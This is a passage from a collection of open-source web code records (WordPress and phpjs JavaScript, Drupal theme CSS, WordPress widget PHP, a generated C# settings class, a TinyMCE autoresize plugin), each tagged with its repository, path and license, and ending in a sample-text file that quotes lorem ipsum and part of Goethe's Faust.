mrl_ajax_out() { mrl_ajax --; if ( mrl_ajax == 0) { document.body.style.cursor = "default"; jQuery(document).unbind('click.mrl'); } } function mrl_toHex(str) { var hex = ''; for(var i=0;i<str.length;i++) { hex += ''+str.charCodeAt(i).toString(16); } return hex; }
vilas424/wordpress
wp-content/plugins/media-file-manager/media-relocator.js
JavaScript
gpl-2.0
19,374
function str_pad (input, pad_length, pad_string, pad_type) { // http://kevin.vanzonneveld.net // + original by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + namespaced by: Michael White (http://getsprink.com) // + input by: Marco van Oort // + bugfixed by: Brett Zamir (http://brett-zamir.me) // * example 1: str_pad('Kevin van Zonneveld', 30, '-=', 'STR_PAD_LEFT'); // * returns 1: '-=-=-=-=-=-Kevin van Zonneveld' // * example 2: str_pad('Kevin van Zonneveld', 30, '-', 'STR_PAD_BOTH'); // * returns 2: '------Kevin van Zonneveld-----' var half = '', pad_to_go; var str_pad_repeater = function (s, len) { var collect = '', i; while (collect.length < len) { collect += s; } collect = collect.substr(0, len); return collect; }; input += ''; pad_string = pad_string !== undefined ? pad_string : ' '; if (pad_type != 'STR_PAD_LEFT' && pad_type != 'STR_PAD_RIGHT' && pad_type != 'STR_PAD_BOTH') { pad_type = 'STR_PAD_RIGHT'; } if ((pad_to_go = pad_length - input.length) > 0) { if (pad_type == 'STR_PAD_LEFT') { input = str_pad_repeater(pad_string, pad_to_go) + input; } else if (pad_type == 'STR_PAD_RIGHT') { input = input + str_pad_repeater(pad_string, pad_to_go); } else if (pad_type == 'STR_PAD_BOTH') { half = str_pad_repeater(pad_string, Math.ceil(pad_to_go / 2)); input = half + input + half; input = input.substr(0, pad_length); } } return input; }
marcosptf/phpjs
functions/strings/str_pad.js
JavaScript
gpl-2.0
1,646
/** * This CSS file (THEME-alpha-default.css) contains styles that applies to ALL the responsive layouts * Unlike global.css (the global, including mobile layout CSS file), THEME-alpha-default.css is only * used on any size ABOVE mobile, which translates to all the responsive sizes of your mobile-first theme. * * Any CSS included here will be used in your narrow, normal, wide, AND fluid grids, depending on which you * have enabled in your theme settings. * So this CSS will provide global styles for everything EXCEPT the default, mobile-first layout. 960px */ /**/ #page { background: url("../img/bg-page-splash.png") no-repeat scroll right 100px transparent; } .site-name-slogan { width:60%; } .site-name-slogan .site-name { font-size: 2em; } .site-name-slogan .site-slogan { font-size:0.9em; float: left; text-align: left; } .azgov a { position: relative; float: right; width: 170px; height: 45px; } .azgov { position: absolute; right: 0; top: 0; width: 170px; height: 45px; background: none; background: url(../img/azgov.png) no-repeat; border-top: 0px; margin: 0 auto; padding:0; text-indent: -9999px; visibility:visible; display: block; } .branding-data { float:left; width: 60%; } /*search form*/ .block-search-form { width: 292px; padding: 0; } .block-search-form h2 {visibility: hidden; font-size: 1px; line-height: 0;} form#search-block-form .form-text { float: left; background: url(../img/bg-form-field.png); padding: 5px 10px; border: 1px solid #333; border-right: 0px; color: #999; font-family: Arial, Helvetica, sans-serif; font-size: 1.167em; font-style: italic; width: 62%; margin-right: 0; -moz-border-radius: 5px 0px 0px 5px; -webkit-border-radius: 5px 0px 0px 5px; -o-border-radius: 5px 0px 0px 5px; border-radius: 5px 0px 0px 5px; } form#search-block-form input.form-submit { border: 1px solid #333; border-left: 0px; cursor: pointer; height: 29x; line-height: 1em; float: right; margin-left: 0px; -moz-border-radius: 0px 5px 5px 0px; -webkit-border-radius: 0px 5px 5px 0px; -o-border-radius: 0px 5px 5px 0px; border-radius: 0px 5px 5px 0px; } .zone-branding { background: url(../img/seal-silhouette.png) 90% 100% no-repeat; } #zone-preface .region-inner section:first-child h2, #zone-preface #stay-connected:first-child h3 { /*margin: 0 -11px;*/ } #zone-preface h2.block-title, #zone-preface #stay-connected h3 { margin: 0; } #zone-preface #region-preface-first { margin-left: 0 ; margin-right: 10px ; width: 300px ; } #zone-preface #region-preface-second { width: 320px ; } #zone-preface #region-preface-third { margin-right: 0 ; margin-left: 10px ; width: 300px; } #zone-content #region-sidebar-first { margin-left: 0 ; margin-right: 20px ; } #zone-content .grid-8 { margin-left:0 ; margin-right: 0 ; width: 640px; } #zone-content #region-sidebar-second { margin-right: 0 ; margin-left: 20px ; } /* navigation */ #zone-menu-wrapper { height: auto; /*border-top: 4px solid #ececec; */ margin: 0; padding:0; } #region-branding { border-bottom: none; padding: 0; } #navigation { overflow: hidden; position: relative; } .navigation ul.menu li.expanded:hover > ul.menu { display: block; } #block-search-form { float: right; padding: 10px 0; } .navigation ul { padding: 0; position: relative; display: block; } .navigation ul li { float: left; font-family: Arial, Helvetica, sans-serif; font-size: 0.85em; font-weight: 300; list-style-type: none; list-style-image: none; margin: 0; padding: 0; position: relative; text-transform: uppercase; display: inline; clear:none; } .navigation li a { border-top: none; border-bottom: none; color: #fff; height: auto; display: block; /*padding: 11px 20px 10px 20px;*/ text-align: center; text-decoration: none; margin:0; } .navigation li.first { /*border-left: 1px solid #ececec;*/ } .navigation li ul li.first{ border-left: 0px; } /*.navigation li.active-trail a, .navigation li a.active,*/ .navigation li a:hover, .navigation li a.active:hover, .navigation li a:focus, .navigation ul li:hover a, .navigation ul li.active:hover a { background-color: #f2f2f2; /* Old browsers */ background: -moz-linear-gradient(top, #f2f2f2 0%, #ececec 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f2f2f2), color-stop(100%,#ececec)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #f2f2f2 0%,#ececec 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #f2f2f2 0%,#ececec 100%); /* Opera11.10+ */ background: -ms-linear-gradient(top, #f2f2f2 0%,#ececec 100%); /* IE10+ */ background: linear-gradient(top, #f2f2f2 0%,#ececec 100%); /* W3C */ /*border-right: 1px solid #FFF; border-left: 1px solid #FFF; padding-left: 19px; padding-right: 19px;*/ color: #333; } .navigation li a.menu-home:hover, .navigation li a.menu-home:focus, .navigation ul li:hover a.menu-home, .navigation ul li.active:hover a.menu-home { background: url(../img/home-icon-hover.png) 10px 6px no-repeat; background-color: #F2F2F2; } .menu-home { background:url(../img/home-icon.png) 10px 6px no-repeat ; padding: 0px; text-indent: -9999px; } .navigation li a.menu-home { margin: 0 0 0 20px; padding: 7px 10px; height: 20px; border-right: 1px solid rgba(0, 0, 0, 0.2); width: 20px; } /******* Drop-down Navigation ******/ .navigation li ul { background: none repeat scroll 0 0 #FFF; -webkit-box-shadow: 0 3px 10px rgba(0,0,0,.2); -moz-box-shadow: 0 3px 10px rgba(0,0,0,.2); box-shadow: 0 3px 10px rgba(0,0,0,.2); border: 1px solid #efefef; height: auto; left: -999em; margin: 0; padding: 5px; position: absolute; width: 210px; z-index: 1000; display:block; } .navigation ul li:hover > ul { display: block; left: 0; } .navigation li ul li { float: none; margin: 0; padding: 0; text-transform: none; font-weight: 400; font-size: 13px; list-style-image: none; border-right: 0px; } .navigation li ul li a, .navigation li.active-trail ul li a, .navigation li:hover ul li a { text-align: left; background: url(../img/sprite.png) repeat-x 0 -490px; /* grey bg*/ color: #484848; display: block; padding: 7px 16px; border: none; } .navigation li ul li a:hover, .navigation li.active-trail ul li a.active { padding: 7px 16px; border: none; } /* * Home page rotator */ .view-home-page-feature-rotator { margin-left: 0; /* * MD - Adjusted width to eliminate bottom scroll bar * width: 102%; */ width:100%; } #zone-header.container-12 .grid-12 { width: 100% !important; } #region-header-first.grid-12 { margin: 0 !important; } #home-rotator { width: 100%; padding: 0; min-height: 280px; height: 280px; } .home-top-intro { /* This is only hidden actually during the fluid layout, 960 size overwrites it again to show the subtext */ /*font-size: 0;*/ text-align:left; margin: 10px 20px; } #home-top-read-more { margin: 0 0 0 20px; width: 85%; } #home-top-numbers { margin: 0 0 0 15px; padding: 15px 0 0 0; } #home-top-numbers li a { height: 18px; width: 18px; margin: 0 3px; border-radius: 9px; } .home-rotator-slide { width: 100%; margin: 0; } .home-rotator-text-block { float: left; margin: 0; padding: 0; width: 42.489361702128%; } /**/ .home-rotator-photo { float: right; width: 54.5%; margin: 0px; overflow: hidden; } .home-rotator-photo { float: right; /* border: 1px solid #333;*/ } .home-rotator-photo img, .home-rotator-slide img { float: right; height: 278px; margin: 0; width: 100%; border: none; } /* * Content */ /*#block-nodeblock-agency-highlight-center-1 */ #region-preface-second{ margin-left: 0px; } /* * Breaking News */ .breaking-news { background:#fff url(../img/sprite.png) no-repeat 0 -200px; height: 45px; } .breaking-news .headline { width:65%; } .breaking-news .breaking-news-header { width: 185px; margin: 6px 0 0 10px; visibility: visible; } .breaking-news .headline a { height: 11px; padding: 13px 0; } /* * Footer */ #footer-nav { width: 100%; overflow: hidden; display:block; } #block-nodeblock-agency-footer-branding { float: left; width: 30%; padding: 55px 0; } #block-nodeblock-contact-us { float: right; width: 55%; /* * MD - Added min-width since padding was removed */ min-width:570px; } .field-name-field-map-image { float: right; margin-top: 0px; /* * MD - adding padding since container padding was removed */ padding-right:20px; } .group_address { width: 69%; margin-right: 0px; padding: 4px 0px 10px; } .group_column1{ /*width: 60%; float:left;*/ } .group_column2 { /*margin-left: 10px; width: 37%;*/ } #footer-info, #footer-tab-icon { width: 960px; margin: 0 auto; } .footer-utility li, .footer-nav ul.menu li { float: left; } .footer-nav ul.menu li li { float: none; } .footer-nav ul.menu { display: inline; } #footer-nav-wrapper { width: 840px; } #footer-tab-icon img{ padding: 3px; } .footer-menu-wrapper { width: 960px; } #footer-logo-subscribe .site-name{ display: block; } #footer-logo-subscribe .logo{ display: block; } #footer-subscribe label { display: none; } #footer-subscribe .form-item, #footer-subscribe .form-actions { margin: 1em 0; } .footer-branding { float: left; min-height: 153px; width: 35%; /* * MD added min-width since padding was removed */ min-width:360px; } /**/ #follow-wrapper { width: 100px; } #stay-connected li, #content .connect-block li { float: left; } .node-content .webform-client-form .grippie, .node-content .webform-client-form textarea, .node-content .webform-client-form input, .webform-client-form select, .node-content .webform-client-form select { /* * MD Adjusted to correct select boxes * width: 460px; */ width:auto; display:inline; padding-left:10x; } .node-content .webform-client-form textarea { width: 475px; } /* Home Page Feature Slider */ .home-rotator-text-block { width: 300px ; } .home-rotator-photo { width: 620px ; } /*NB - commenting out to fix responsiveness issue*/ /*.home-rotator-photo img { width: 620px; height:auto ; }*/ /*End custom*/ /* changes made to allow preface 1st to be used */ #home-rotator { margin-left: 1%; margin-right: 1%; } #zone-preface #region-preface-first { margin-left: 1%; margin-right: 1%; } #zone-preface #region-preface-second { width: 300px; margin-left: 1%; margin-right: 1%; } #zone-preface #region-preface-third { margin-left: 1%; margin-right: 1%; } #zone-content #region-sidebar-first { margin-left: 1%; margin-right: 1%; } #region-content { margin-left: 1%; margin-right: 1%; } #zone-content #region-sidebar-second { margin-left: 1%; margin-right: 1%; } #zone-postscript { width: 940px; } #zone-postscript .grid-3 { width: 215px; } #footer-info { width: 940px; } /* Changes made in response to August 29 Issue List */ .footer-branding { min-height: 158px; } #block-nodeblock-contact-us { min-height: 188px; } #zone-content .grid-8 { width: 620px; margin-left: 1%; margin-right: 1%; }
ehazell/AWPF
sites/all/themes/brandedgov/css/agency-2-alpha-default.css
CSS
gpl-2.0
11,914
<?php /** * Register widgetized area and update sidebar with default widgets * * @since Adventurous 1.0 */ function adventurous_widgets_init() { // Register Custom Widgets register_widget( 'adventurous_social_widget' ); //Main Sidebar register_sidebar( array( 'name' => __( 'Main Sidebar', 'adventurous' ), 'id' => 'sidebar-1', 'description' => __( 'Shows the Widgets at the side of Content', 'adventurous' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); //Footer One Sidebar register_sidebar( array( 'name' => __( 'Footer Area One', 'adventurous' ), 'id' => 'sidebar-2', 'description' => __( 'An optional widget area for your site footer', 'adventurous' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); //Footer Two Sidebar register_sidebar( array( 'name' => __( 'Footer Area Two', 'adventurous' ), 'id' => 'sidebar-3', 'description' => __( 'An optional widget area for your site footer', 'adventurous' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); //Footer Three Sidebar register_sidebar( array( 'name' => __( 'Footer Area Three', 'adventurous' ), 'id' => 'sidebar-4', 'description' => __( 'An optional widget area for your site footer', 'adventurous' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); //Footer Four Sidebar register_sidebar( array( 'name' => __( 'Footer Area Four', 'adventurous' ), 'id' => 'sidebar-5', 'description' => __( 'An optional widget area for your site footer', 'adventurous' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); } add_action( 'widgets_init', 'adventurous_widgets_init' ); /** * Makes a custom Widget for Displaying Social Icons * * Learn more: http://codex.wordpress.org/Widgets_API#Developing_Widgets * * @package Catch Themes * @subpackage Adventurous * @since Adventurous 1.0 */ class adventurous_social_widget extends WP_Widget { /** * Register widget with WordPress. */ function __construct() { parent::__construct( 'widget_adventurous_social_widget', // Base ID __( 'CT: Social Icons', 'adventurous' ), // Name array( 'description' => __( 'Use this widget to add Social Icons from Social Icons Settings as a widget.', 'adventurous' ) ) // Args ); } /** * Creates the form for the widget in the back-end which includes the Title , adcode, image, alt * $instance Current settings */ function form($instance) { $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) ); $title = esc_attr( $instance[ 'title' ] ); ?> <p> <label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title (optional):','adventurous'); ?></label> <input type="text" name="<?php echo $this->get_field_name('title'); ?>" value="<?php echo $title; ?>" class="widefat" id="<?php echo $this->get_field_id('title'); ?>" /> </p> <?php } /** * update the particular instant * * This function should check that $new_instance is set correctly. * The newly calculated value of $instance should be returned. * If "false" is returned, the instance won't be saved/updated. * * $new_instance New settings for this instance as input by the user via form() * $old_instance Old settings for this instance * Settings to save or bool false to cancel saving */ function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = strip_tags($new_instance['title']); return $instance; } /** * Displays the Widget in the front-end. * * $args Display arguments including before_title, after_title, before_widget, and after_widget. * $instance The settings for the particular instance of the widget */ function widget( $args, $instance ) { extract( $args ); extract( $instance ); $title = !empty( $instance['title'] ) ? $instance[ 'title' ] : ''; echo $before_widget; if ( $title != '' ) { echo $before_title . apply_filters( 'widget_title', $title, $instance, $this->id_base ) . $after_title; } adventurous_social_networks(); echo $after_widget; } }
benoitv80/G4A.
wp-content/themes/adventurous/inc/adventurous-widgets.php
PHP
gpl-2.0
4,702
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace RealEstate.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } }
gpdiemelkman/REII422_DesktopApp
RealEstate/Properties/Settings.Designer.cs
C#
gpl-2.0
1,067
tinymce.PluginManager.add("wpautoresize", function (a) { function b() { return a.plugins.fullscreen && a.plugins.fullscreen.isFullscreen() } function c(a) { return parseInt(a, 10) || 0 } function d(e) { var f, g, k, l, m, n, o, p, q, r, s, t, u = tinymce.DOM; if (j && (g = a.getDoc())) { if (e = e || {}, k = g.body, l = g.documentElement, m = h.autoresize_min_height, !k || e && "setcontent" === e.type && e.initial || b())return void(k && l && (k.style.overflowY = "auto", l.style.overflowY = "auto")); o = a.dom.getStyle(k, "margin-top", !0), p = a.dom.getStyle(k, "margin-bottom", !0), q = a.dom.getStyle(k, "padding-top", !0), r = a.dom.getStyle(k, "padding-bottom", !0), s = a.dom.getStyle(k, "border-top-width", !0), t = a.dom.getStyle(k, "border-bottom-width", !0), n = k.offsetHeight + c(o) + c(p) + c(q) + c(r) + c(s) + c(t), n && n < l.offsetHeight && (n = l.offsetHeight), (isNaN(n) || 0 >= n) && (n = tinymce.Env.ie ? k.scrollHeight : tinymce.Env.webkit && 0 === k.clientHeight ? 0 : k.offsetHeight), n > h.autoresize_min_height && (m = n), h.autoresize_max_height && n > h.autoresize_max_height ? (m = h.autoresize_max_height, k.style.overflowY = "auto", l.style.overflowY = "auto") : (k.style.overflowY = "hidden", l.style.overflowY = "hidden", k.scrollTop = 0), m !== i && (f = m - i, u.setStyle(a.iframeElement, "height", m + "px"), i = m, tinymce.isWebKit && 0 > f && d(e), a.fire("wp-autoresize", { height: m, deltaHeight: "nodechange" === e.type ? f : null })) } } function e(a, b, c) { setTimeout(function () { d(), a-- ? e(a, b, c) : c && c() }, b) } function f() { a.dom.hasClass(a.getBody(), "wp-autoresize") || (j = !0, a.dom.addClass(a.getBody(), "wp-autoresize"), a.on("nodechange setcontent keyup FullscreenStateChanged", d), d()) } function g() { var b; h.wp_autoresize_on || (j = !1, b = a.getDoc(), a.dom.removeClass(a.getBody(), "wp-autoresize"), a.off("nodechange setcontent keyup FullscreenStateChanged", d), b.body.style.overflowY = "auto", b.documentElement.style.overflowY = "auto", i = 0) } var h = a.settings, i = 300, j = !1; a.settings.inline || tinymce.Env.iOS || (h.autoresize_min_height = parseInt(a.getParam("autoresize_min_height", a.getElement().offsetHeight), 10), h.autoresize_max_height = parseInt(a.getParam("autoresize_max_height", 0), 10), h.wp_autoresize_on && (j = !0, a.on("init", function () { a.dom.addClass(a.getBody(), "wp-autoresize") }), a.on("nodechange keyup FullscreenStateChanged", d), a.on("setcontent", function () { e(3, 100) }), a.getParam("autoresize_on_init", !0) && a.on("init", function () { e(10, 200, function () { e(5, 1e3) }) })), a.on("show", function () { i = 0 }), a.addCommand("wpAutoResize", d), a.addCommand("wpAutoResizeOn", f), a.addCommand("wpAutoResizeOff", g)) });
oferca75/work4friends
wp-includes/js/tinymce/plugins/wpautoresize/plugin.min.js
JavaScript
gpl-2.0
3,044
var textShort = 'short text', textMedium = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices sem tincidunt ligula fringilla vestibulum. Proin fringilla iaculis orci, et pellentesque odio cursus et. Nam laoreet venenatis lorem, id pharetra arcu lacinia et. Sed vulputate odio vel sapien mollis a bibendum magna lacinia. Phasellus posuere velit et purus porttitor ac bibendum metus viverra. Cras at magna massa, non pretium metus. Aliquam erat tortor, aliquet feugiat dapibus vitae, adipiscing ac nibh. Etiam non erat nec purus iaculis pulvinar. Suspendisse eu nulla a tortor convallis egestas. Nullam tellus mi, dignissim et accumsan nec, gravida hendrerit orci. Integer convallis tempus diam, quis imperdiet mauris bibendum nec. Integer adipiscing metus dolor, et porttitor eros. Aliquam ac ipsum ipsum. Nullam congue nulla sit amet ligula fringilla accumsan venenatis ipsum tempor.\ \ Donec quis est et nisi rutrum posuere eget commodo justo. Vestibulum neque neque, suscipit elementum placerat in, tempus ut sapien. Nulla blandit, enim convallis semper facilisis, orci augue vehicula nisi, id elementum lectus dui a nunc. Nam mollis tempus lobortis. Duis non metus id enim euismod luctus. Praesent non velit sed nunc egestas aliquam id et velit. Proin porttitor convallis dapibus. Nullam id orci at neque tempus sagittis sed eu purus. Aenean venenatis tortor vel ipsum gravida ultricies. Phasellus interdum, neque non consequat malesuada, augue neque scelerisque mi, a imperdiet nibh augue posuere nunc. Nullam lobortis massa vel neque volutpat a ultrices ipsum volutpat. Duis non purus nisi, nec fringilla massa.\ \ In et ante ipsum. Nam a lectus libero, quis condimentum orci. Mauris volutpat consectetur feugiat. Praesent non leo tellus. Donec luctus tempus ultrices. Nunc vitae ante metus, a commodo nibh. Maecenas eget lacus massa, dapibus venenatis felis. Ut sit amet turpis a lectus tristique placerat et sed lectus. Aenean in diam vitae orci molestie malesuada. Nam vel leo purus. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Sed sit amet tellus lacus. Nulla congue egestas libero, vel tristique purus molestie vel.\ \ Mauris adipiscing, ligula quis dignissim sodales, dui massa laoreet ipsum, sit amet interdum sem dui et nunc. In at cursus velit. Mauris ut turpis tortor, at bibendum enim. Phasellus posuere lectus orci, id dignissim diam. Sed commodo, purus venenatis malesuada euismod, dolor augue semper diam, quis feugiat orci est tempor sem. Morbi quis lobortis orci. Nullam non arcu nec magna volutpat vulputate sit amet non lectus. Nullam gravida dictum quam, quis ultricies odio tempus quis. Sed sed elit ante. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Mauris fermentum, neque a eleifend molestie, mauris eros convallis libero, sit amet mollis orci urna in velit. Integer ac est dui. Nunc ac suscipit lorem. Nunc nec erat sed nibh adipiscing posuere.\ \ Proin semper dui at turpis volutpat eget varius ante porta. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Sed congue justo tellus. Aenean eleifend, risus vel imperdiet hendrerit, massa erat convallis lacus, ac condimentum augue eros at massa. Nam libero felis, consequat sit amet suscipit ut, consequat sed nunc. Mauris in nulla tellus. Mauris vulputate velit in elit congue vehicula. Donec eget nibh quam. Curabitur quam nunc, tristique ac egestas nec, lobortis et metus. Aliquam lobortis malesuada erat, vitae pharetra nisi congue non. Mauris lacus turpis, vestibulum eu fermentum non, porttitor sed leo. Mauris egestas blandit sem non blandit. Nam laoreet orci vel metus varius luctus. Suspendisse fermentum, nisl sit amet fermentum porta, dolor eros rutrum mi, id aliquam nulla orci at lorem. Aliquam erat volutpat. Nullam tristique elementum purus eget euismod. Sed lectus purus, mattis eu fermentum sed, laoreet in metus. Maecenas volutpat sagittis eros eu laoreet. ", textLong = "The Project Gutenberg EBook of Faust, by Goethe\ \ This eBook is for the use of anyone anywhere at no cost and with\ almost no restrictions whatsoever. You may copy it, give it away or\ re-use it under the terms of the Project Gutenberg License included\ with this eBook or online at www.gutenberg.net\ \ \ Title: Faust\ \ Author: Goethe\ \ Release Date: December 25, 2004 [EBook #14460]\ \ Language: English\ \ Character set encoding: ISO-8859-1\ \ *** START OF THIS PROJECT GUTENBERG EBOOK FAUST ***\ \ \ \ \ Produced by Juliet Sutherland, Charles Bidwell and the PG Online\ Distributed Proofreading Team\ \ \ \ \ \ \ FAUST\ \ \ A TRAGEDY\ \ TRANSLATED FROM THE GERMAN\ \ OF\ \ GOETHE\ \ \ WITH NOTES\ \ BY\ \ CHARLES T BROOKS\ \ \ SEVENTH EDITION.\ \ BOSTON\ TICKNOR AND FIELDS\ \ MDCCCLXVIII.\ \ \ \ Entered according to Act of Congress, in the year 1856,\ by CHARLES T. BROOKS,\ In the Clerk's Office of the District Court\ of the District of Rhode Island.\ \ UNIVERSITY PRESS:\ WELCH, BIGELOW, AND COMPANY,\ CAMBRIDGE.\ \ \ \ \ TRANSLATOR'S PREFACE.\ \ \ Perhaps some apology ought to be given to English scholars, that is, those\ who do not know German, (to those, at least, who do not know what sort of\ a thing Faust is in the original,) for offering another translation to the\ public, of a poem which has been already translated, not only in a literal\ prose form, but also, twenty or thirty times, in metre, and sometimes with\ great spirit, beauty, and power.\ \ The author of the present version, then, has no knowledge that a rendering\ of this wonderful poem into the exact and ever-changing metre of the\ original has, until now, been so much as attempted. To name only one\ defect, the very best versions which he has seen neglect to follow the\ exquisite artist in the evidently planned and orderly intermixing of\ _male_ and _female_ rhymes, _i.e._ rhymes which fall on the last syllable\ and those which fall on the last but one. Now, every careful student of\ the versification of Faust must feel and see that Goethe did not\ intersperse the one kind of rhyme with the other, at random, as those\ translators do; who, also, give the female rhyme (on which the vivacity of\ dialogue and description often so much depends,) in so small a proportion.\ \ A similar criticism might be made of their liberty in neglecting Goethe's\ method of alternating different measures with each other.\ \ It seems as if, in respect to metre, at least, they had asked themselves,\ how would Goethe have written or shaped this in English, had that been his\ native language, instead of seeking _con amore_ (and _con fidelità_) as\ they should have done, to reproduce, both in spirit and in form, the\ movement, so free and yet orderly, of the singularly endowed and\ accomplished poet whom they undertook to represent.\ \ As to the objections which Hayward and some of his reviewers have\ instituted in advance against the possibility of a good and faithful\ metrical translation of a poem like Faust, they seem to the present\ translator full of paradox and sophistry. For instance, take this\ assertion of one of the reviewers: \"The sacred and mysterious union of\ thought with verse, twin-born and immortally wedded from the moment of\ their common birth, can never be understood by those who desire verse\ translations of good poetry.\" If the last part of this statement had read\ \"by those who can be contented with _prose_ translations of good poetry,\"\ the position would have been nearer the truth. This much we might well\ admit, that, if the alternative were either to have a poem like Faust in a\ metre different and glaringly different from the original, or to have it\ in simple and strong prose, then the latter alternative would be the one\ every tasteful and feeling scholar would prefer; but surely to every one\ who can read the original or wants to know how this great song _sung\ itself_ (as Carlyle says) out of Goethe's soul, a mere prose rendering\ must be, comparatively, a _corpus mortuum._\ \ The translator most heartily dissents from Hayward's assertion that a\ translator of Faust \"must sacrifice either metre or meaning.\" At least he\ flatters himself that he has made, in the main, (not a compromise between\ meaning and melody, though in certain instances he may have fallen into\ that, but) a combination of the meaning with the melody, which latter is\ so important, so vital a part of the lyric poem's meaning, in any worthy\ sense. \"No poetic translation,\" says Hayward's reviewer, already quoted,\ \"can give the rhythm and rhyme of the original; it can only substitute the\ rhythm and rhyme of the translator.\" One might just as well say \"no\ _prose_ translation can give the _sense and spirit_ of the original; it\ can only substitute the _sense and spirit of the words and phrases of the\ translator's language_;\" and then, these two assertions balancing each\ other, there will remain in the metrical translator's favor, that he may\ come as near to giving both the letter and the spirit, as the effects of\ the Babel dispersion will allow.\ \ As to the original creation, which he has attempted here to reproduce, the\ translator might say something, but prefers leaving his readers to the\ poet himself, as revealed in the poem, and to the various commentaries of\ which we have some accounts, at least, in English. A French translator of\ the poem speaks in his introduction as follows: \"This Faust, conceived by\ him in his youth, completed in ripe age, the idea of which he carried with\ him through all the commotions of his life, as Camoens bore his poem with\ him through the waves, this Faust contains him entire. The thirst for\ knowledge and the martyrdom of doubt, had they not tormented his early\ years? Whence came to him the thought of taking refuge in a supernatural\ realm, of appealing to invisible powers, which plunged him, for a\ considerable time, into the dreams of Illuminati and made him even invent\ a religion? This irony of Mephistopheles, who carries on so audacious a\ game with the weakness and the desires of man, is it not the mocking,\ scornful side of the poet's spirit, a leaning to sullenness, which can be\ traced even into the earliest years of his life, a bitter leaven thrown\ into a strong soul forever by early satiety? The character of Faust\ especially, the man whose burning, untiring heart can neither enjoy\ fortune nor do without it, who gives himself unconditionally and watches\ himself with mistrust, who unites the enthusiasm of passion and the\ dejectedness of despair, is not this an eloquent opening up of the most\ secret and tumultuous part of the poet's soul? And now, to complete the\ image of his inner life, he has added the transcendingly sweet person of\ Margaret, an exalted reminiscence of a young girl, by whom, at the age of\ fourteen, he thought himself beloved, whose image ever floated round him,\ and has contributed some traits to each of his heroines. This heavenly\ surrender of a simple, good, and tender heart contrasts wonderfully with\ the sensual and gloomy passion of the lover, who, in the midst of his\ love-dreams, is persecuted by the phantoms of his imagination and by the\ nightmares of thought, with those sorrows of a soul, which is crushed, but\ not extinguished, which is tormented by the invincible want of happiness\ and the bitter feeling, how hard a thing it is to receive or to bestow.\"\ \ \ \ \ DEDICATION.[1]\ \ Once more ye waver dreamily before me,\ Forms that so early cheered my troubled eyes!\ To hold you fast doth still my heart implore me?\ Still bid me clutch the charm that lures and flies?\ Ye crowd around! come, then, hold empire o'er me,\ As from the mist and haze of thought ye rise;\ The magic atmosphere, your train enwreathing,\ Through my thrilled bosom youthful bliss is breathing.\ \ Ye bring with you the forms of hours Elysian,\ And shades of dear ones rise to meet my gaze;\ First Love and Friendship steal upon my vision\ Like an old tale of legendary days;\ Sorrow renewed, in mournful repetition,\ Runs through life's devious, labyrinthine ways;\ And, sighing, names the good (by Fortune cheated\ Of blissful hours!) who have before me fleeted.\ \ These later songs of mine, alas! will never\ Sound in their ears to whom the first were sung!\ Scattered like dust, the friendly throng forever!\ Mute the first echo that so grateful rung!\ To the strange crowd I sing, whose very favor\ Like chilling sadness on my heart is flung;\ And all that kindled at those earlier numbers\ Roams the wide earth or in its bosom slumbers.\ \ And now I feel a long-unwonted yearning\ For that calm, pensive spirit-realm, to-day;\ Like an Aeolian lyre, (the breeze returning,)\ Floats in uncertain tones my lisping lay;\ Strange awe comes o'er me, tear on tear falls burning,\ The rigid heart to milder mood gives way!\ What I possess I see afar off lying,\ And what I lost is real and undying.\ \ \ \ \ PRELUDE\ \ IN THE THEATRE.\ \ \ Manager. Dramatic Poet. Merry Person.\ \ _Manager_. You who in trouble and distress\ Have both held fast your old allegiance,\ What think ye? here in German regions\ Our enterprise may hope success?\ To please the crowd my purpose has been steady,\ Because they live and let one live at least.\ The posts are set, the boards are laid already,\ And every one is looking for a feast.\ They sit, with lifted brows, composed looks wearing,\ Expecting something that shall set them staring.\ I know the public palate, that's confest;\ Yet never pined so for a sound suggestion;\ True, they are not accustomed to the best,\ But they have read a dreadful deal, past question.\ How shall we work to make all fresh and new,\ Acceptable and profitable, too?\ For sure I love to see the torrent boiling,\ When towards our booth they crowd to find a place,\ Now rolling on a space and then recoiling,\ Then squeezing through the narrow door of grace:\ Long before dark each one his hard-fought station\ In sight of the box-office window takes,\ And as, round bakers' doors men crowd to escape starvation,\ For tickets here they almost break their necks.\ This wonder, on so mixed a mass, the Poet\ Alone can work; to-day, my friend, O, show it!\ \ _Poet_. Oh speak not to me of that motley 